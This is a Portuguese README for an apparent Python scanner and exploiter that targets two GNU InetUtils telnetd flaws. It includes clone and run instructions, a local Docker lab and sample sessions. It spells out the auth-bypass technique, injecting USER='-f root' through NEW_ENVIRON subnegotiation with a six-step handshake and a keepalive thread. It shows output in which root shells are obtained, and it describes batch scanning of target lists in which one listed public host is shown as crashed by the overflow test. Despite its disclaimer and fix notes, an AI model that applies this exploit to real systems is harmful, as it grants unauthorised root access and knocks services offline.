
scanner/explorador CVE-2026-24061 e CVE-2026-32746
Uma ferramenta de avaliação de segurança baseada em Python que detecta e (quando aplicável) explora duas vulnerabilidades críticas no telnetd do GNU InetUtils:
USER (CVSS 9.8)Esta ferramenta destina-se apenas a testes de segurança autorizados e fins educacionais.
O uso não autorizado contra sistemas que você não possui ou para os quais não tem permissão explícita para testar é ilegal. Os autores não se responsabilizam pelo uso indevido ou danos causados por esta ferramenta. Use por sua conta e risco.

TELNET_SCAN_VERBOSE=1 para ver cada pacote IAC e a narrativa passo a passo do exploitgit clone https://github.com/ekomsSavior/telnet_scan.git
cd telnet_scan
chmod +x telnet_scanner.py
python3 telnet_scanner.py
Teste o exploit contra um alvo vulnerável conhecido sem arriscar sistemas reais:
cd lab
docker compose up -d
cd ..
python3 telnet_scanner.py
# Alvo: 127.0.0.1, Porta: 2323
O laboratório executa um telnetd do GNU InetUtils 2.5 vulnerável em um contêiner isolado, vinculado apenas ao localhost. Sem exposição à rede.
Depure o handshake telnet e veja exatamente o que está acontecendo no fio:
TELNET_SCAN_VERBOSE=1 python3 telnet_scanner.py
A saída detalhada mostra:

1192.168.1.100 ou example.com)23 se deixado em branco)1 – Ambas as vulnerabilidades2 – Apenas CVE-2026-24061 (bypass de autenticação)3 – Apenas CVE-2026-32746 (estouro de buffer)targets.txt:
192.168.1.100
192.168.1.101
10.0.0.50
example.com
# Esta é uma linha de comentário - ignorada
223)Se o CVE-2026-24061 for bem-sucedido:
id, whoami, ls)Ctrl+C para sair do shell e retornar ao menu do scannerNenhum terminal separado ou etapas extras são necessários.
O exploit segue um handshake telnet preciso de 6 etapas para garantir compatibilidade com o telnetd real do GNU InetUtils:
DO iniciaisTTYPE, TSPEED, XDISPLOC, NEW_ENVIRONUSER="-f root" via subnegociação NEW_ENVIRONDO/WILL para SGA, ECHO, LINEMODE, NAWSUma thread de keepalive envia IAC NOP a cada 2 segundos para evitar que o ttloop() do telnetd detecte EOF e chame exit(1) antes que o payload seja processado.
O telnetd vulnerável passa -f root para /usr/bin/login, ignorando a autenticação e concedendo acesso imediato ao shell root.
LINEMODE (RFC 1184)=== Scanner de Vulnerabilidades Telnet ===
1. Escanear um único alvo
2. Escanear alvos de um arquivo (um IP/hostname por linha)
3. Sair
Escolha uma opção: 1
Porta (padrão 23):
Quais testes executar?
1. Ambos
2. Apenas CVE-2026-24061 (bypass de auth - fornece shell se vulnerável)
3. Apenas CVE-2026-32746 (detecção de estouro de buffer)
Escolha [1-3]: 1
Alvo (IP ou domínio): 192.168.1.100
[*] Resolvido 192.168.1.100 -> 192.168.1.100
[*] Escaneando 192.168.1.100:23...
[*] Verificando se o serviço está acessível...
[+] Serviço acessível
[*] Testando CVE-2026-24061 (bypass de autenticação)...
[!] CVE-2026-24061: VULNERÁVEL – shell obtido!
============================================================
[+] SHELL ROOT OBTIDO! Você está agora em um shell interativo root.
[+] Digite comandos diretamente aqui. Pressione Ctrl+C para sair do shell.
============================================================
id
uid=0(root) gid=0(root) groups=0(root)
[PASSO 1/6] Aguardando negociação do servidor (pode levar até 15s)...
[PASSO 1/6] Obtidos 48 bytes: fffb18fffb20fffb23fffb27...
decodificado: IAC DO TERMINAL-TYPE
decodificado: IAC DO TERMINAL-SPEED
decodificado: IAC DO X-DISPLAY-LOCATION
decodificado: IAC DO NEW-ENVIRON
[PASSO 2/6] Respondendo WILL a todas as opções DO
[PASSO 3/6] Aguardando solicitações de subnegociação SB SEND...
[PASSO 4/6] Enviando respostas de subnegociação...
NEW-ENVIRON IS VAR USER VALUE "-f root" *** EXPLOIT ***
[PASSO 5/6] Lidando com as negociações de opções restantes...
[PASSO 5/6] Texto recebido: 'root@vuln-lab:~# '
[RESULTADO] SUCESSO: Login root sem senha via injeção USER="-f root"
=== Scanner de Vulnerabilidades Telnet ===
1. Escanear um único alvo
2. Escanear alvos de um arquivo (um IP/hostname por linha)
3. Sair
Escolha uma opção: 2
Porta (padrão 23):
Digite o nome do arquivo com os alvos (um por linha): targets.txt
Quais testes executar?
1. Ambos
2. Apenas CVE-2026-24061 (bypass de auth - fornece shell se vulnerável)
3. Apenas CVE-2026-32746 (detecção de estouro de buffer)
Escolha [1-3]: 1
[*] Carregados 3 alvos de targets.txt
==================================================
[1/3] Escaneando 192.168.1.100:23
==================================================
[*] Resolvido 192.168.1.100 -> 192.168.1.100
[+] Serviço acessível
[*] Testando CVE-2026-24061...
[!] CVE-2026-24061: VULNERÁVEL – shell obtido!
[?] Shell obtido! Interagir agora? (s/N): n
[*] Testando CVE-2026-32746...
[+] Servidor não caiu; provavelmente não vulnerável
==================================================
[2/3] Escaneando 192.168.1.101:23
==================================================
[-] Serviço não acessível em 192.168.1.101:23
==================================================
[3/3] Escaneando example.com:23
==================================================
[*] Resolvido example.com -> 93.184.216.34
[+] Serviço acessível
[*] Testando CVE-2026-24061...
[+] Nenhuma resposta recebida; pode ainda estar vulnerável
[*] Testando CVE-2026-32746...
[!] CVE-2026-32746: VULNERÁVEL (servidor caiu)
============================================================
RESUMO DA VARREDURA
============================================================
192.168.1.100: VULNERÁVEL ao CVE-2026-24061
192.168.1.101: Serviço inacessível
example.com: VULNERÁVEL ao CVE-2026-32746
============================================================
Se você descobrir sistemas vulneráveis, aplique estas correções:
NEW_ENVIRON USER começando com -fO diretório lab/ incluído fornece um ambiente de teste seguro e reproduzível:
cd lab
docker compose up -d
# Aguarde ~10 segundos para o telnetd inicializar
python3 ../telnet_scanner.py
# Alvo: 127.0.0.1, Porta: 2323
Recursos do laboratório:
labuser:labpass123) para depuraçãoPare o laboratório quando terminar:
cd lab && docker compose down

Agradecimentos especiais a @leetcrypt – O handshake adequado de 6 etapas, thread de keepalive, modo detalhado e laboratório Docker estão matando!
AVISO: apenas para testes de segurança autorizados e fins educacionais.
# root@$